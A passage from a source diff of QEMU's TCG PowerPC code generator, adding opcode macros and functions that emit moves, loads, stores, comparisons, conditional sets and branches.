TCG_CT_CONST_MONE; + break; + case 'T': + ct->ct |= TCG_CT_CONST_S32; + break; + case 'U': + ct->ct |= TCG_CT_CONST_U32; + break; + case 'Z': + ct->ct |= TCG_CT_CONST_ZERO; + break; + default: + return -1; + } + ct_str++; + *pct_str = ct_str; + return 0; +} + +/* test if a constant matches the constraint */ +static int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct = arg_ct->ct; + if (ct & TCG_CT_CONST) { + return 1; + } + + /* The only 32-bit constraint we use aside from + TCG_CT_CONST is TCG_CT_CONST_S16. */ + if (type == TCG_TYPE_I32) { + val = (int32_t)val; + } + + if ((ct & TCG_CT_CONST_S16) && val == (int16_t)val) { + return 1; + } else if ((ct & TCG_CT_CONST_U16) && val == (uint16_t)val) { + return 1; + } else if ((ct & TCG_CT_CONST_S32) && val == (int32_t)val) { + return 1; + } else if ((ct & TCG_CT_CONST_U32) && val == (uint32_t)val) { + return 1; + } else if ((ct & TCG_CT_CONST_ZERO) && val == 0) { + return 1; + } else if ((ct & TCG_CT_CONST_MONE) && val == -1) { + return 1; + } + return 0; +} + +#define OPCD(opc) ((opc)<<26) +#define XO19(opc) (OPCD(19)|((opc)<<1)) +#define MD30(opc) (OPCD(30)|((opc)<<2)) +#define MDS30(opc) (OPCD(30)|((opc)<<1)) +#define XO31(opc) (OPCD(31)|((opc)<<1)) +#define XO58(opc) (OPCD(58)|(opc)) +#define XO62(opc) (OPCD(62)|(opc)) + +#define B OPCD( 18) +#define BC OPCD( 16) +#define LBZ OPCD( 34) +#define LHZ OPCD( 40) +#define LHA OPCD( 42) +#define LWZ OPCD( 32) +#define STB OPCD( 38) +#define STH OPCD( 44) +#define STW OPCD( 36) + +#define STD XO62( 0) +#define STDU XO62( 1) +#define STDX XO31(149) + +#define LD XO58( 0) +#define LDX XO31( 21) +#define LDU XO58( 1) +#define LWA XO58( 2) +#define LWAX XO31(341) + +#define ADDIC OPCD( 12) +#define ADDI OPCD( 14) +#define ADDIS OPCD( 15) +#define ORI OPCD( 24) +#define ORIS OPCD( 25) +#define XORI OPCD( 26) +#define XORIS OPCD( 27) +#define ANDI OPCD( 28) +#define ANDIS OPCD( 29) +#define MULLI OPCD( 7) +#define CMPLI OPCD( 10) +#define CMPI OPCD( 11) +#define SUBFIC OPCD( 8) + +#define LWZU OPCD( 33) +#define STWU OPCD( 37) + +#define RLWIMI OPCD( 20) +#define RLWINM OPCD( 21) +#define RLWNM OPCD( 23) + +#define RLDICL MD30( 0) +#define RLDICR MD30( 1) +#define RLDIMI MD30( 3) +#define RLDCL MDS30( 8) + +#define BCLR XO19( 16) +#define BCCTR XO19(528) +#define CRAND XO19(257) +#define CRANDC XO19(129) +#define CRNAND XO19(225) +#define CROR XO19(449) +#define CRNOR XO19( 33) + +#define EXTSB XO31(954) +#define EXTSH XO31(922) +#define EXTSW XO31(986) +#define ADD XO31(266) +#define ADDE XO31(138) +#define ADDME XO31(234) +#define ADDZE XO31(202) +#define ADDC XO31( 10) +#define AND XO31( 28) +#define SUBF XO31( 40) +#define SUBFC XO31( 8) +#define SUBFE XO31(136) +#define SUBFME XO31(232) +#define SUBFZE XO31(200) +#define OR XO31(444) +#define XOR XO31(316) +#define MULLW XO31(235) +#define MULHW XO31( 75) +#define MULHWU XO31( 11) +#define DIVW XO31(491) +#define DIVWU XO31(459) +#define CMP XO31( 0) +#define CMPL XO31( 32) +#define LHBRX XO31(790) +#define LWBRX XO31(534) +#define LDBRX XO31(532) +#define STHBRX XO31(918) +#define STWBRX XO31(662) +#define STDBRX XO31(660) +#define MFSPR XO31(339) +#define MTSPR XO31(467) +#define SRAWI XO31(824) +#define NEG XO31(104) +#define MFCR XO31( 19) +#define MFOCRF (MFCR | (1u << 20)) +#define NOR XO31(124) +#define CNTLZW XO31( 26) +#define CNTLZD XO31( 58) +#define ANDC XO31( 60) +#define ORC XO31(412) +#define EQV XO31(284) +#define NAND XO31(476) +#define ISEL XO31( 15) + +#define MULLD XO31(233) +#define MULHD XO31( 73) +#define MULHDU XO31( 9) +#define DIVD XO31(489) +#define DIVDU XO31(457) + +#define LBZX XO31( 87) +#define LHZX XO31(279) +#define LHAX XO31(343) +#define LWZX XO31( 23) +#define STBX XO31(215) +#define STHX XO31(407) +#define STWX XO31(151) + +#define SPR(a, b) ((((a)<<5)|(b))<<11) +#define LR SPR(8, 0) +#define CTR SPR(9, 0) + +#define SLW XO31( 24) +#define SRW XO31(536) +#define SRAW XO31(792) + +#define SLD XO31( 27) +#define SRD XO31(539) +#define SRAD XO31(794) +#define SRADI XO31(413<<1) + +#define TW XO31( 4) +#define TRAP (TW | TO(31)) + +#define NOP ORI /* ori 0,0,0 */ + +#define RT(r) ((r)<<21) +#define RS(r) ((r)<<21) +#define RA(r) ((r)<<16) +#define RB(r) ((r)<<11) +#define TO(t) ((t)<<21) +#define SH(s) ((s)<<11) +#define MB(b) ((b)<<6) +#define ME(e) ((e)<<1) +#define BO(o) ((o)<<21) +#define MB64(b) ((b)<<5) +#define FXM(b) (1 << (19 - (b))) + +#define LK 1 + +#define TAB(t, a, b) (RT(t) | RA(a) | RB(b)) +#define SAB(s, a, b) (RS(s) | RA(a) | RB(b)) +#define TAI(s, a, i) (RT(s) | RA(a) | ((i) & 0xffff)) +#define SAI(s, a, i) (RS(s) | RA(a) | ((i) & 0xffff)) + +#define BF(n) ((n)<<23) +#define BI(n, c) (((c)+((n)*4))<<16) +#define BT(n, c) (((c)+((n)*4))<<21) +#define BA(n, c) (((c)+((n)*4))<<16) +#define BB(n, c) (((c)+((n)*4))<<11) +#define BC_(n, c) (((c)+((n)*4))<<6) + +#define BO_COND_TRUE BO(12) +#define BO_COND_FALSE BO( 4) +#define BO_ALWAYS BO(20) + +enum { + CR_LT, + CR_GT, + CR_EQ, + CR_SO +}; + +static const uint32_t tcg_to_bc[] = { + [TCG_COND_EQ] = BC | BI(7, CR_EQ) | BO_COND_TRUE, + [TCG_COND_NE] = BC | BI(7, CR_EQ) | BO_COND_FALSE, + [TCG_COND_LT] = BC | BI(7, CR_LT) | BO_COND_TRUE, + [TCG_COND_GE] = BC | BI(7, CR_LT) | BO_COND_FALSE, + [TCG_COND_LE] = BC | BI(7, CR_GT) | BO_COND_FALSE, + [TCG_COND_GT] = BC | BI(7, CR_GT) | BO_COND_TRUE, + [TCG_COND_LTU] = BC | BI(7, CR_LT) | BO_COND_TRUE, + [TCG_COND_GEU] = BC | BI(7, CR_LT) | BO_COND_FALSE, + [TCG_COND_LEU] = BC | BI(7, CR_GT) | BO_COND_FALSE, + [TCG_COND_GTU] = BC | BI(7, CR_GT) | BO_COND_TRUE, +}; + +/* The low bit here is set if the RA and RB fields must be inverted. */ +static const uint32_t tcg_to_isel[] = { + [TCG_COND_EQ] = ISEL | BC_(7, CR_EQ), + [TCG_COND_NE] = ISEL | BC_(7, CR_EQ) | 1, + [TCG_COND_LT] = ISEL | BC_(7, CR_LT), + [TCG_COND_GE] = ISEL | BC_(7, CR_LT) | 1, + [TCG_COND_LE] = ISEL | BC_(7, CR_GT) | 1, + [TCG_COND_GT] = ISEL | BC_(7, CR_GT), + [TCG_COND_LTU] = ISEL | BC_(7, CR_LT), + [TCG_COND_GEU] = ISEL | BC_(7, CR_LT) | 1, + [TCG_COND_LEU] = ISEL | BC_(7, CR_GT) | 1, + [TCG_COND_GTU] = ISEL | BC_(7, CR_GT), +}; + +static void tcg_out_mem_long(TCGContext *s, int opi, int opx, TCGReg rt, + TCGReg base, tcg_target_long offset); + +static void tcg_out_mov(TCGContext *s, TCGType type, TCGReg ret, TCGReg arg) +{ + tcg_debug_assert(TCG_TARGET_REG_BITS == 64 || type == TCG_TYPE_I32); + if (ret != arg) { + tcg_out32(s, OR | SAB(arg, ret, arg)); + } +} + +static inline void tcg_out_rld(TCGContext *s, int op, TCGReg ra, TCGReg rs, + int sh, int mb) +{ + assert(TCG_TARGET_REG_BITS == 64); + sh = SH(sh & 0x1f) | (((sh >> 5) & 1) << 1); + mb = MB64((mb >> 5) | ((mb << 1) & 0x3f)); + tcg_out32(s, op | RA(ra) | RS(rs) | sh | mb); +} + +static inline void tcg_out_rlw(TCGContext *s, int op, TCGReg ra, TCGReg rs, + int sh, int mb, int me) +{ + tcg_out32(s, op | RA(ra) | RS(rs) | SH(sh) | MB(mb) | ME(me)); +} + +static inline void tcg_out_ext32u(TCGContext *s, TCGReg dst, TCGReg src) +{ + tcg_out_rld(s, RLDICL, dst, src, 0, 32); +} + +static inline void tcg_out_shli32(TCGContext *s, TCGReg dst, TCGReg src, int c) +{ + tcg_out_rlw(s, RLWINM, dst, src, c, 0, 31 - c); +} + +static inline void tcg_out_shli64(TCGContext *s, TCGReg dst, TCGReg src, int c) +{ + tcg_out_rld(s, RLDICR, dst, src, c, 63 - c); +} + +static inline void tcg_out_shri32(TCGContext *s, TCGReg dst, TCGReg src, int c) +{ + tcg_out_rlw(s, RLWINM, dst, src, 32 - c, c, 31); +} + +static inline void tcg_out_shri64(TCGContext *s, TCGReg dst, TCGReg src, int c) +{ + tcg_out_rld(s, RLDICL, dst, src, 64 - c, c); +} + +static void tcg_out_movi32(TCGContext *s, TCGReg ret, int32_t arg) +{ + if (arg == (int16_t) arg) { + tcg_out32(s, ADDI | TAI(ret, 0, arg)); + } else { + tcg_out32(s, ADDIS | TAI(ret, 0, arg >> 16)); + if (arg & 0xffff) { + tcg_out32(s, ORI | SAI(ret, ret, arg)); + } + } +} + +static void tcg_out_movi(TCGContext *s, TCGType type, TCGReg ret, + tcg_target_long arg) +{ + tcg_debug_assert(TCG_TARGET_REG_BITS == 64 || type == TCG_TYPE_I32); + if (type == TCG_TYPE_I32 || arg == (int32_t)arg) { + tcg_out_movi32(s, ret, arg); + } else if (arg == (uint32_t)arg && !(arg & 0x8000)) { + tcg_out32(s, ADDI | TAI(ret, 0, arg)); + tcg_out32(s, ORIS | SAI(ret, ret, arg >> 16)); + } else { + int32_t high; + + if (USE_REG_RA) { + intptr_t diff = arg - (intptr_t)tb_ret_addr; + if (diff == (int32_t)diff) { + tcg_out_mem_long(s, ADDI, ADD, ret, TCG_REG_RA, diff); + return; + } + } + + high = arg >> 31 >> 1; + tcg_out_movi32(s, ret, high); + if (high) { + tcg_out_shli64(s, ret, ret, 32); + } + if (arg & 0xffff0000) { + tcg_out32(s, ORIS | SAI(ret, ret, arg >> 16)); + } + if (arg & 0xffff) { + tcg_out32(s, ORI | SAI(ret, ret, arg)); + } + } +} + +static bool mask_operand(uint32_t c, int *mb, int *me) +{ + uint32_t lsb, test; + + /* Accept a bit pattern like: + 0....01....1 + 1....10....0 + 0..01..10..0 + Keep track of the transitions. */ + if (c == 0 || c == -1) { + return false; + } + test = c; + lsb = test & -test; + test += lsb; + if (test & (test - 1)) { + return false; + } + + *me = clz32(lsb); + *mb = test ? clz32(test & -test) + 1 : 0; + return true; +} + +static bool mask64_operand(uint64_t c, int *mb, int *me) +{ + uint64_t lsb; + + if (c == 0) { + return false; + } + + lsb = c & -c; + /* Accept 1..10..0. */ + if (c == -lsb) { + *mb = 0; + *me = clz64(lsb); + return true; + } + /* Accept 0..01..1. */ + if (lsb == 1 && (c & (c + 1)) == 0) { + *mb = clz64(c + 1) + 1; + *me = 63; + return true; + } + return false; +} + +static void tcg_out_andi32(TCGContext *s, TCGReg dst, TCGReg src, uint32_t c) +{ + int mb, me; + + if ((c & 0xffff) == c) { + tcg_out32(s, ANDI | SAI(src, dst, c)); + return; + } else if ((c & 0xffff0000) == c) { + tcg_out32(s, ANDIS | SAI(src, dst, c >> 16)); + return; + } else if (mask_operand(c, &mb, &me)) { + tcg_out_rlw(s, RLWINM, dst, src, 0, mb, me); + } else { + tcg_out_movi(s, TCG_TYPE_I32, TCG_REG_R0, c); + tcg_out32(s, AND | SAB(src, dst, TCG_REG_R0)); + } +} + +static void tcg_out_andi64(TCGContext *s, TCGReg dst, TCGReg src, uint64_t c) +{ + int mb, me; + + assert(TCG_TARGET_REG_BITS == 64); + if ((c & 0xffff) == c) { + tcg_out32(s, ANDI | SAI(src, dst, c)); + return; + } else if ((c & 0xffff0000) == c) { + tcg_out32(s, ANDIS | SAI(src, dst, c >> 16)); + return; + } else if (mask64_operand(c, &mb, &me)) { + if (mb == 0) { + tcg_out_rld(s, RLDICR, dst, src, 0, me); + } else { + tcg_out_rld(s, RLDICL, dst, src, 0, mb); + } + } else { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_R0, c); + tcg_out32(s, AND | SAB(src, dst, TCG_REG_R0)); + } +} + +static void tcg_out_zori32(TCGContext *s, TCGReg dst, TCGReg src, uint32_t c, + int op_lo, int op_hi) +{ + if (c >> 16) { + tcg_out32(s, op_hi | SAI(src, dst, c >> 16)); + src = dst; + } + if (c & 0xffff) { + tcg_out32(s, op_lo | SAI(src, dst, c)); + src = dst; + } +} + +static void tcg_out_ori32(TCGContext *s, TCGReg dst, TCGReg src, uint32_t c) +{ + tcg_out_zori32(s, dst, src, c, ORI, ORIS); +} + +static void tcg_out_xori32(TCGContext *s, TCGReg dst, TCGReg src, uint32_t c) +{ + tcg_out_zori32(s, dst, src, c, XORI, XORIS); +} + +static void tcg_out_b(TCGContext *s, int mask, tcg_insn_unit *target) +{ + ptrdiff_t disp = tcg_pcrel_diff(s, target); + if (in_range_b(disp)) { + tcg_out32(s, B | (disp & 0x3fffffc) | mask); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R0, (uintptr_t)target); + tcg_out32(s, MTSPR | RS(TCG_REG_R0) | CTR); + tcg_out32(s, BCCTR | BO_ALWAYS | mask); + } +} + +static void tcg_out_mem_long(TCGContext *s, int opi, int opx, TCGReg rt, + TCGReg base, tcg_target_long offset) +{ + tcg_target_long orig = offset, l0, l1, extra = 0, align = 0; + bool is_store = false; + TCGReg rs = TCG_REG_TMP1; + + switch (opi) { + case LD: case LWA: + align = 3; + /* FALLTHRU */ + default: + if (rt != TCG_REG_R0) { + rs = rt; + break; + } + break; + case STD: + align = 3; + /* FALLTHRU */ + case STB: case STH: case STW: + is_store = true; + break; + } + + /* For unaligned, or very large offsets, use the indexed form. */ + if (offset & align || offset != (int32_t)offset) { + if (rs == base) { + rs = TCG_REG_R0; + } + tcg_debug_assert(!is_store || rs != rt); + tcg_out_movi(s, TCG_TYPE_PTR, rs, orig); + tcg_out32(s, opx | TAB(rt, base, rs)); + return; + } + + l0 = (int16_t)offset; + offset = (offset - l0) >> 16; + l1 = (int16_t)offset; + + if (l1 < 0 && orig >= 0) { + extra = 0x4000; + l1 = (int16_t)(offset - 0x4000); + } + if (l1) { + tcg_out32(s, ADDIS | TAI(rs, base, l1)); + base = rs; + } + if (extra) { + tcg_out32(s, ADDIS | TAI(rs, base, extra)); + base = rs; + } + if (opi != ADDI || base != rt || l0 != 0) { + tcg_out32(s, opi | TAI(rt, base, l0)); + } +} + +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg ret, + TCGReg arg1, intptr_t arg2) +{ + int opi, opx; + + assert(TCG_TARGET_REG_BITS == 64 || type == TCG_TYPE_I32); + if (type == TCG_TYPE_I32) { + opi = LWZ, opx = LWZX; + } else { + opi = LD, opx = LDX; + } + tcg_out_mem_long(s, opi, opx, ret, arg1, arg2); +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + int opi, opx; + + assert(TCG_TARGET_REG_BITS == 64 || type == TCG_TYPE_I32); + if (type == TCG_TYPE_I32) { + opi = STW, opx = STWX; + } else { + opi = STD, opx = STDX; + } + tcg_out_mem_long(s, opi, opx, arg, arg1, arg2); +} + +static void tcg_out_cmp(TCGContext *s, int cond, TCGArg arg1, TCGArg arg2, + int const_arg2, int cr, TCGType type) +{ + int imm; + uint32_t op; + + tcg_debug_assert(TCG_TARGET_REG_BITS == 64 || type == TCG_TYPE_I32); + + /* Simplify the comparisons below wrt CMPI. */ + if (type == TCG_TYPE_I32) { + arg2 = (int32_t)arg2; + } + + switch (cond) { + case TCG_COND_EQ: + case TCG_COND_NE: + if (const_arg2) { + if ((int16_t) arg2 == arg2) { + op = CMPI; + imm = 1; + break; + } else if ((uint16_t) arg2 == arg2) { + op = CMPLI; + imm = 1; + break; + } + } + op = CMPL; + imm = 0; + break; + + case TCG_COND_LT: + case TCG_COND_GE: + case TCG_COND_LE: + case TCG_COND_GT: + if (const_arg2) { + if ((int16_t) arg2 == arg2) { + op = CMPI; + imm = 1; + break; + } + } + op = CMP; + imm = 0; + break; + + case TCG_COND_LTU: + case TCG_COND_GEU: + case TCG_COND_LEU: + case TCG_COND_GTU: + if (const_arg2) { + if ((uint16_t) arg2 == arg2) { + op = CMPLI; + imm = 1; + break; + } + } + op = CMPL; + imm = 0; + break; + + default: + tcg_abort(); + } + op |= BF(cr) | ((type == TCG_TYPE_I64) << 21); + + if (imm) { + tcg_out32(s, op | RA(arg1) | (arg2 & 0xffff)); + } else { + if (const_arg2) { + tcg_out_movi(s, type, TCG_REG_R0, arg2); + arg2 = TCG_REG_R0; + } + tcg_out32(s, op | RA(arg1) | RB(arg2)); + } +} + +static void tcg_out_setcond_eq0(TCGContext *s, TCGType type, + TCGReg dst, TCGReg src) +{ + if (type == TCG_TYPE_I32) { + tcg_out32(s, CNTLZW | RS(src) | RA(dst)); + tcg_out_shri32(s, dst, dst, 5); + } else { + tcg_out32(s, CNTLZD | RS(src) | RA(dst)); + tcg_out_shri64(s, dst, dst, 6); + } +} + +static void tcg_out_setcond_ne0(TCGContext *s, TCGReg dst, TCGReg src) +{ + /* X != 0 implies X + -1 generates a carry. Extra addition + trickery means: R = X-1 + ~X + C = X-1 + (-X+1) + C = C. */ + if (dst != src) { + tcg_out32(s, ADDIC | TAI(dst, src, -1)); + tcg_out32(s, SUBFE | TAB(dst, dst, src)); + } else { + tcg_out32(s, ADDIC | TAI(TCG_REG_R0, src, -1)); + tcg_out32(s, SUBFE | TAB(dst, TCG_REG_R0, src)); + } +} + +static TCGReg tcg_gen_setcond_xor(TCGContext *s, TCGReg arg1, TCGArg arg2, + bool const_arg2) +{ + if (const_arg2) { + if ((uint32_t)arg2 == arg2) { + tcg_out_xori32(s, TCG_REG_R0, arg1, arg2); + } else { + tcg_out_movi(s, TCG_TYPE_I64, TCG_REG_R0, arg2); + tcg_out32(s, XOR | SAB(arg1, TCG_REG_R0, TCG_REG_R0)); + } + } else { + tcg_out32(s, XOR | SAB(arg1, TCG_REG_R0, arg2)); + } + return TCG_REG_R0; +} + +static void tcg_out_setcond(TCGContext *s, TCGType type, TCGCond cond, + TCGArg arg0, TCGArg arg1, TCGArg arg2, + int const_arg2) +{ + int crop, sh; + + assert(TCG_TARGET_REG_BITS == 64 || type == TCG_TYPE_I32); + + /* Ignore high bits of a potential constant arg2. */ + if (type == TCG_TYPE_I32) { + arg2 = (uint32_t)arg2; + } + + /* Handle common and trivial cases before handling anything else. */ + if (arg2 == 0) { + switch (cond) { + case TCG_COND_EQ: + tcg_out_setcond_eq0(s, type, arg0, arg1); + return; + case TCG_COND_NE: + if (TCG_TARGET_REG_BITS == 64 && type == TCG_TYPE_I32) { + tcg_out_ext32u(s, TCG_REG_R0, arg1); + arg1 = TCG_REG_R0; + } + tcg_out_setcond_ne0(s, arg0, arg1); + return; + case TCG_COND_GE: + tcg_out32(s, NOR | SAB(arg1, arg0, arg1)); + arg1 = arg0; + /* FALLTHRU */ + case TCG_COND_LT: + /* Extract the sign bit. */ + if (type == TCG_TYPE_I32) { + tcg_out_shri32(s, arg0, arg1, 31); + } else { + tcg_out_shri64(s, arg0, arg1, 63); + } + return; + default: + break; + } + } + + /* If we have ISEL, we can implement everything with 3 or 4 insns. + All other cases below are also at least 3 insns, so speed up the + code generator by not considering them and always using ISEL. */ + if (HAVE_ISEL) { + int isel, tab; + + tcg_out_cmp(s, cond, arg1, arg2, const_arg2, 7, type); + + isel = tcg_to_isel[cond]; + + tcg_out_movi(s, type, arg0, 1); + if (isel & 1) { + /* arg0 = (bc ? 0 : 1) */ + tab = TAB(arg0, 0, arg0); + isel &= ~1; + } else { + /* arg0 = (bc ? 1 : 0) */ + tcg_out_movi(s, type, TCG_REG_R0, 0); + tab = TAB(arg0, arg0, TCG_REG_R0); + } + tcg_out32(s, isel | tab); + return; + } + + switch (cond) { + case TCG_COND_EQ: + arg1 = tcg_gen_setcond_xor(s, arg1, arg2, const_arg2); + tcg_out_setcond_eq0(s, type, arg0, arg1); + return; + + case TCG_COND_NE: + arg1 = tcg_gen_setcond_xor(s, arg1, arg2, const_arg2); + /* Discard the high bits only once, rather than both inputs. */ + if (TCG_TARGET_REG_BITS == 64 && type == TCG_TYPE_I32) { + tcg_out_ext32u(s, TCG_REG_R0, arg1); + arg1 = TCG_REG_R0; + } + tcg_out_setcond_ne0(s, arg0, arg1); + return; + + case TCG_COND_GT: + case TCG_COND_GTU: + sh = 30; + crop = 0; + goto crtest; + + case TCG_COND_LT: + case TCG_COND_LTU: + sh = 29; + crop = 0; + goto crtest; + + case TCG_COND_GE: + case TCG_COND_GEU: + sh = 31; + crop = CRNOR | BT(7, CR_EQ) | BA(7, CR_LT) | BB(7, CR_LT); + goto crtest; + + case TCG_COND_LE: + case TCG_COND_LEU: + sh = 31; + crop = CRNOR | BT(7, CR_EQ) | BA(7, CR_GT) | BB(7, CR_GT); + crtest: + tcg_out_cmp(s, cond, arg1, arg2, const_arg2, 7, type); + if (crop) { + tcg_out32(s, crop); + } + tcg_out32(s, MFOCRF | RT(TCG_REG_R0) | FXM(7)); + tcg_out_rlw(s, RLWINM, arg0, TCG_REG_R0, sh, 31, 31); + break; + + default: + tcg_abort(); + } +} + +static void tcg_out_bc(TCGContext *s, int bc, int label_index) +{ + TCGLabel *l = &s->labels[label_index]; + + if (l->has_value) { + tcg_out32(s, bc | reloc_pc14_val(s->code_ptr, l->u.value_ptr)); + } else { + tcg_out_reloc(s, s->code_ptr, R_PPC_REL14, label_index, 0); + tcg_out_bc_noaddr(s, bc); + } +} + +static void tcg_out_brcond(TCGContext *s, TCGCond cond, + TCGArg arg1, TCGArg arg2, int const_arg2, + int label_index, TCGType type) +{ + tcg_out_cmp(s, cond, arg1, arg2, const_arg2, 7, type); + tcg_out_bc(s, tcg_to_bc[cond], label_index); +} + +static void tcg_out_movcond(TCGContext *s, TCGType type, TCGCond cond, + TCGArg dest, TCGArg c1, TCGArg c2, TCGArg v1, + TCGArg v2, bool const_c2) +{ + /* If for some reason both inputs are zero, don't produce bad code. */ + if (v1 == 0 && v2 == 0) { + tcg_out_movi(s, type, dest, 0); + return; + } + + tcg_out_cmp(s, cond, c1, c2, const_c2, 7, type); + + if (HAVE_ISEL) { + int isel = tcg_to_isel[cond]; + + /* Swap the V operands if the operation indicates inversion. */ + if (isel & 1) { + int t = v1; + v1 = v2; + v2 = t; + isel &= ~1; + } + /* V1 == 0 is handled by isel; V2 == 0 must be handled by hand. */ + if (v2 == 0) { + tcg_out_movi(s, type, TCG_REG_R0, 0); + } + tcg_out32(s, isel | TAB(dest, v1, v2)); + } else { + if (dest == v2) { + cond = tcg_invert_cond(cond); + v2 = v1; + } else if (dest != v1) { + if (v1 == 0) { + tcg_out_movi(s, type, dest, 0); + } else { + tcg_out_mov(s, type, dest, v1); + } + } + /* Branch forward over one insn */ + tcg_out32(s, tcg_to_bc[cond] | 8); + if (v2 == 0) { + tcg_out_movi(s, type, dest, 0); + } else { + tcg_out_mov(s, type, dest, v2); + } + } +} + +static void tcg_out_cmp2(TCGContext *s, const TCGArg *args, + const int *const_args) +{ + static const struct { uint8_t bit1, bit2; } bits[] = { + [TCG_COND_LT ] = { CR_LT, CR_LT }, + [TCG_COND_LE ] = { CR_LT, CR_GT }, + [TCG_COND_GT ] = { CR_GT, CR_GT }, + [TCG_COND_GE ] = { CR_GT, CR_LT }, + [TCG_COND_LTU] = { CR_LT, CR_LT }, + [TCG_COND_LEU] = { CR_LT, CR_GT }, + [TCG_COND_GTU] = { CR_GT, CR_GT }, + [TCG_COND_GEU] = { CR_GT, CR_LT }, + }; + + TCGCond cond = args[4], cond2; + TCGArg al, ah, bl, bh; + int blconst, bhconst; + int op, bit1, bit2; + + al = args[0]; + ah = args[1]; + bl = args[2]; + bh = args[3]; + blconst = const_args[2]; + bhconst = const_args[3]; + + switch (cond) { + case TCG_COND_EQ: + op = CRAND; + goto do_equality; + case TCG_COND_NE: + op = CRNAND; + do_equality: + tcg_out_cmp(s, cond, al, bl, blconst, 6, TCG_TYPE_I32); + tcg_out_cmp(s, cond, ah, bh, bhconst, 7, TCG_TYPE_I32); + tcg_out32(s, op | BT(7, CR_EQ) | BA(6, CR_EQ) | BB(7, CR_EQ)); + break; + + case TCG_COND_LT: + case TCG_COND_LE: + case TCG_COND_GT: + case TCG_COND_GE: + case TCG_COND_LTU: + case TCG_COND_LEU: + case TCG_COND_GTU: + case TCG_COND_GEU: + bit1 = bits[cond].bit1; + bit2 = bits[cond].bit2; + op = (bit1 != bit2 ? CRANDC : CRAND); + cond2 = tcg_unsigned_cond(cond); + + tcg_out_cmp(s, cond, ah, bh, bhconst, 6, TCG_TYPE_I32); + tcg_out_cmp(s, cond2, al, bl, blconst, 7, TCG_TYPE_I32); + tcg_out32(s, op | BT(7, CR_EQ) | BA(6, CR_EQ) | BB(7, bit2)); + tcg_out32(s, CROR | BT(7, CR_EQ) | BA(6, bit1) | BB(7, CR_EQ)); + break; + + default: + tcg_abort(); + } +} + +static void tcg_out_setcond2(TCGContext *s, const TCGArg *args, + const int *const_args) +{ + tcg_out_cmp2(s, args + 1, const_args + 1); + tcg_out32(s, MFOCRF | RT(TCG_REG_R0) | FXM(7)); + tcg_out_rlw(s, RLWINM, args[0], TCG_REG_R0, 31, 31, 31); +} + +static void tcg_out_brcond2 (TCGContext *s, const TCGArg *args, + const int *const_args) +{ + tcg_out_cmp2(s, args, const_args); + tcg_out_bc(s, BC | BI(7, CR_EQ) | BO_COND_TRUE, args[5]); +} + +void ppc_tb_set_jmp_target(uintptr_t jmp_addr, uintptr_t addr) +{ + TCGContext s; + + s.code_buf = s.code_ptr = (tcg_insn_unit *)jmp_addr; + tcg_out_b(&s, 0, (tcg_insn_unit *)addr); + flush_icache_range(jmp_addr, jmp_addr + tcg_current_code_size(&s)); +} + +static void tcg_out_call(TCGContext *s, tcg_insn_unit *target) +{ +#ifdef _CALL_AIX + /* Look through the descriptor. If the branch is in range, and we + don't have to spend too much effort on building the toc. */ + void *tgt = ((void **)target)[0]; + uintptr_t toc = ((uintptr_t *)target)[1]; + intptr_t diff = tcg_pcrel_diff(s, tgt); + + if (in_range_b(diff) && toc == (uint32_t)toc) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_TMP1, toc); + tcg_out_b(s, LK, tgt); + } else { + /* Fold the low bits of the constant into the addresses below. */ + intptr_t arg = (intptr_t)target; + int ofs = (int16_t)arg; + + if (ofs + 8 < 0x8000) { + arg -= ofs; + } else { + ofs = 0; + } + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_TMP1, arg); + tcg_out_ld(s, TCG_TYPE_PTR, TCG_REG_R0, TCG_REG_TMP1, ofs); + tcg_out32(s, MTSPR | RA(TCG_REG_R0) | CTR); + tcg_out_ld(s, TCG_TYPE_PTR, TCG_REG_R2, TCG_REG_TMP1, ofs + SZP); + tcg_out32(s, BCCTR | BO_ALWAYS | LK); + } +#elif defined(_CALL_ELF) && _CALL_ELF == 2 + intptr_t diff; + + /* In the ELFv2 ABI, we have to set up r12 to contain the destination + address, which the callee uses to compute its TOC address. */ + /* FIXME: when the branch is in range, we could avoid r12 load if we + knew that the destination uses the same TOC, and what its local + entry point offset is. */ + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R12, (intptr_t)target); + + diff = tcg_pcrel_diff(s, target); + if (in_range_b(diff)) { + tcg_out_b(s, LK, target); + } else { + tcg_out32(s, MTSPR | RS(TCG_REG_R12) | CTR); + tcg_out32(s, BCCTR | BO_ALWAYS | LK); + } +#else + tcg_out_b(s, LK, target); +#endif +} + +static const uint32_t qemu_ldx_opc[16] = { + [MO_UB] = LBZX, + [MO_UW] = LHZX, + [MO_UL] = LWZX, + [MO_Q] = LDX, + [MO_SW] = LHAX, + [MO_SL] = LWAX, + [MO_BSWAP | MO_UB] = LBZX, + [MO_BSWAP | MO_UW] = LHBRX, + [MO_BSWAP | MO_UL] = LWBRX, + [MO_BSWAP | MO_Q] = LDBRX, +}; + +static const uint32_t qemu_stx_opc[16] = { + [MO_UB] = STBX, + [MO_UW] = STHX, + [MO_UL] = STWX, + [MO_Q] = STDX, + [MO_BSWAP | MO_UB] = STBX, + [MO_BSWAP | MO_UW] = STHBRX, + [MO_BSWAP | MO_UL] = STWBRX, + [MO_BSWAP | MO_Q] = STDBRX, +}; + +static const uint32_t qemu_exts_opc[4] = { + EXTSB, EXTSH, EXTSW, 0 +}; + +#if defined (CONFIG_SOFTMMU) +/* helper signature: helper_ld_mmu(CPUState *env, target_ulong addr, + * int mmu_idx, uintptr_t ra) + */ +static void * const qemu_ld_helpers[16] = { + [MO_UB] = helper_ret_ldub_mmu, + [MO_LEUW] = helper_le_lduw_mmu, + [MO_LEUL] = helper_le_ldul_mmu, + [MO_LEQ] = helper_le_ldq_mmu, + [MO_BEUW] = helper_be_lduw_mmu, + [MO_BEUL] = helper_be_ldul_mmu, + [MO_BEQ] = helper_be_ldq_mmu, +}; + +/* helper signature: helper_st_mmu(CPUState *env, target_ulong addr, + * uintxx_t val, int mmu_idx, uintptr_t ra) + */ +static void * const qemu_st_helpers[16] = { + [MO_UB] = helper_ret_stb_mmu, + [MO_LEUW] = helper_le_stw_mmu, + [MO_LEUL] = 